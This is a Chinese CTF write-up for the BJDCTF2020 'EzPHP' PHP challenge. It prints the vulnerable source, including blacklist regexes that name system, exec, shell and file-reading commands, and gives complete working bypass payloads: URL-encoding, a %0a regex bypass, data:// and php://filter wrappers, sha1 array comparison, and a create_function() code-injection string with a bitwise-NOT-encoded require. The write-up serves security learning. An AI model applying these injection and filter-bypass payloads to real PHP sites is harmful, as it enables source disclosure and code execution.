[BJDCTF2020]EzPHP

知识点

  • base32
  • url编码绕过
  • preg_match在非/s模式下的绕过
  • $_POST和$_GET的优先级
  • PHP伪协议。
  • sha1函数的数组绕过。
  • create_function()的代码注入

WP

这个题目真的挺难的,尤其是最后的create_function代码注入,整个题目的考点太多,真的就是看学的扎实不扎实了,是一道非常好的题目。

首先进入环境,f12发现:
在这里插入图片描述

比较明显的base32,解码后得到1nD3x.php。访问一下,可以得到源码:

<?php
highlight_file(__FILE__);
error_reporting(0);

$file = "1nD3x.php";
$shana = $_GET['shana'];
$passwd = $_GET['passwd'];
$arg = '';
$code = '';

echo "<br /><font color=red><B>This is a very simple challenge and if you solve it I will give you a flag. Good Luck!</B><br></font>";

if($_SERVER) {
    
    
    if (
    preg_match('/shana|debu|aqua|cute|arg|code|flag|system|exec|passwd|ass|eval|sort|shell|ob|start|mail|\$|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|read|inc|info|bin|hex|oct|echo|print|pi|\.|\"|\'|log/i', $_SERVER['QUERY_STRING'])
    )
        die('You seem to want to do something bad?');
}

if (!preg_match('/http|https/i', $_GET['file'])) {
    
    
    if (preg_match('/^aqua_is_cute$/', $_GET['debu']) && $_GET['debu'] !== 'aqua_is_cute') {
    
    
        $file = $_GET["file"];
        echo "Neeeeee! Good Job!<br>";
    }
} else die('fxck you! What do you want to do ?!');

if($_REQUEST) {
    
    
    foreach($_REQUEST as $value) {
    
    
        if(preg_match('/[a-zA-Z]/i', $value))
            die('fxck you! I hate English!');
    }
}

if (file_get_contents($file) !== 'debu_debu_aqua')
    die("Aqua is the cutest five-year-old child in the world! Isn't it ?<br>");


if ( sha1($shana) === sha1($passwd) && $shana != $passwd ){
    
    
    extract($_GET["flag"]);
    echo "Very good! you know my password. But what is flag?<br>";
} else{
    
    
    die("fxck you! you don't know my password! And you don't know sha1! why you come here!");
}

if(preg_match('/^[a-z0-9]*$/isD', $code) ||
    preg_match('/fil|cat|more|tail|tac|less|head|nl|tailf|ass|eval|sort|shell|ob|start|mail|\`|\{
    
    |\%|x|\&|\$|\*|\||\<|\"|\'|\=|\?|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|print|echo|read|inc|flag|1f|info|bin|hex|oct|pi|con|rot|input|\.|log|\^/i', $arg) ) {
    die("<br />Neeeeee~! I have disabled all dangerous functions! You can't get my flag =w=");
} else {
    include "flag.php";
    $code('', $arg);
}
?>


首先发现对于查询语句过滤了很多东西:

if($_SERVER) {
    
    
    if (
    preg_match('/shana|debu|aqua|cute|arg|code|flag|system|exec|passwd|ass|eval|sort|shell|ob|start|mail|\$|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|read|inc|info|bin|hex|oct|echo|print|pi|\.|\"|\'|log/i', $_SERVER['QUERY_STRING'])
    )
        die('You seem to want to do something bad?');
}

但是查询语句是原生的http中url那部分的,因此可以用url编码来绕过。

if (!preg_match('/http|https/i', $_GET['file'])) {
    
    
    if (preg_match('/^aqua_is_cute$/', $_GET['debu']) && $_GET['debu'] !== 'aqua_is_cute') {
    
    
        $file = $_GET["file"];
        echo "Neeeeee! Good Job!<br>";
    }
} else die('fxck you! What do you want to do ?!');

首先对于file过滤了http和https,然后就是对于GET参数的debu,需要匹配要正则但是又不能和aqua_is_cute这个字符串一样。考虑到preg_match在非/s模式下,会忽略末尾的%0a,因为可以用aqua_is_cute%0a来绕过。又因为aqua_is_cute中有单词被过滤了,因此同样需要用url编码来绕过。

但是$_GET["file"]又应该怎么给值呢?考虑到这个:

if (file_get_contents($file) !== 'debu_debu_aqua')

因此利用php的伪协议:

file=data://text/plain,debu_debu_aqua

但是上述的那些传参都要考虑到这个:

if($_REQUEST) {
    
    
    foreach($_REQUEST as $value) {
    
    
        if(preg_match('/[a-zA-Z]/i', $value))
            die('fxck you! I hate English!');
    }
}

也就是说不允许有字母。我也卡在了这里,没有想到如果POST和GET传相同名字的参数结果会是怎么样。因为POST的优先级比GET高,如果参数名相同,最终$_REQUEST中的值应该是POST里那个参数的,因此可以传:

debu=1&file=2

来成功绕过。

接下来就是这个:

if ( sha1($shana) === sha1($passwd) && $shana != $passwd ){
    
    
    extract($_GET["flag"]);
    echo "Very good! you know my password. But what is flag?<br>";
} else{
    
    
    die("fxck you! you don't know my password! And you don't know sha1! why you come here!");
}

跟md5的绕过差不多,分别传$shana$passwd是数组,但是值不一样就可以了:

%73%68%61%6e%61[]=1&%70%61%73%73%77%64[]=2

然后就是本题最难的点了:

if(preg_match('/^[a-z0-9]*$/isD', $code) ||
    preg_match('/fil|cat|more|tail|tac|less|head|nl|tailf|ass|eval|sort|shell|ob|start|mail|\`|\{|\%|x|\&|\$|\*|\||\<|\"|\'|\=|\?|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|print|echo|read|inc|flag|1f|info|bin|hex|oct|pi|con|rot|input|\.|log|\^/i', $arg) ) {
    
    
    die("<br />Neeeeee~! I have disabled all dangerous functions! You can't get my flag =w=");
} else {
    
    
    include "flag.php";
    $code('', $arg);
}

考察的是create_function()的代码注入。
参考文章:
[科普向] 解析create_function() && 复现wp

应用到本题:

$code('', $arg);

$code是create_function,因此这个匿名函数可以是这样:

function feng(){
    
    
	$arg;
}

$arg}var_dump(get_defined_vars);//
则变成了这样:

function feng(){
    
    
	}var_dump(get_defined_vars);//}

首先用}闭合掉feng函数,然后自己写危险的语句,最终用//把}给注释掉。
网上的可能大多是用/*,其实如果用/*,你就可以理解成这样:

function feng(){
    
    
	}var_dump(get_defined_vars);/*
}

//,就是本题的这样理解,二者都是可以的。但是因为本题过滤了*,因此只能用单行注释。

可以得到这个:
在这里插入图片描述
发现原来flag并不在这个文件里,而是在rea1fl4g.php。因此要考虑怎么读那个文件里的flag。
应对的策略:

  • 过滤了 include 还能用 require
  • 过滤了引号,可以使用那些参数可以不加引号的函数,require() 代替 require
    " "
  • 过滤了 flag,可以 base64 编码。其他过滤的不用便是

正常可能会想到require(base64_decode(cmVhMWZsNGcucGhw));
但是在BJDCTF里却不行,我们直接看源码里的这个:

<?php
echo "咦,你居然找到我了?!不过看到这句话也不代表你就能拿到flag哦!";
$f4ke_flag = "BJD{1am_a_fake_f41111g23333}";
$rea1_f1114g = "flag{2622b627-3f03-4c10-9cdd-ba90b42de5e8}";
unset($rea1_f1114g);

$rea1_f1114g给unset了,因此直接还是得不到flag得那个变量。大师傅们的姿势是这样:

php://filter/convert.base64-encode/resource=rea1fl4g.php

然后考虑取反绕过:

<?php

$s = 'php://filter/convert.base64-encode/resource=rea1fl4g.php';
echo urlencode(~$s);

最终构造如下:

}require(~%8F%97%8F%C5%D0%D0%99%96%93%8B%9A%8D%D0%9C%90%91%89%9A%8D%8B%D1%9D%9E%8C%9A%C9%CB%D2%9A%91%9C%90%9B%9A%D0%8D%9A%8C%90%8A%8D%9C%9A%C2%8D%9A%9E%CE%99%93%CB%98%D1%8F%97%8F);//

可以成功的读源码。

后记

这题其实是改变自颖奇大师傅的一道题目,颖奇大师傅的讲解文章如下:

https://www.gem-love.com/ctf/770.html

可以说有很多的非预期解,把这篇文章发了我也去自己本地复现一下,觉得这个题目真的挺有意思的。

猜你喜欢

转载自blog.csdn.net/rfrder/article/details/111824177
今日推荐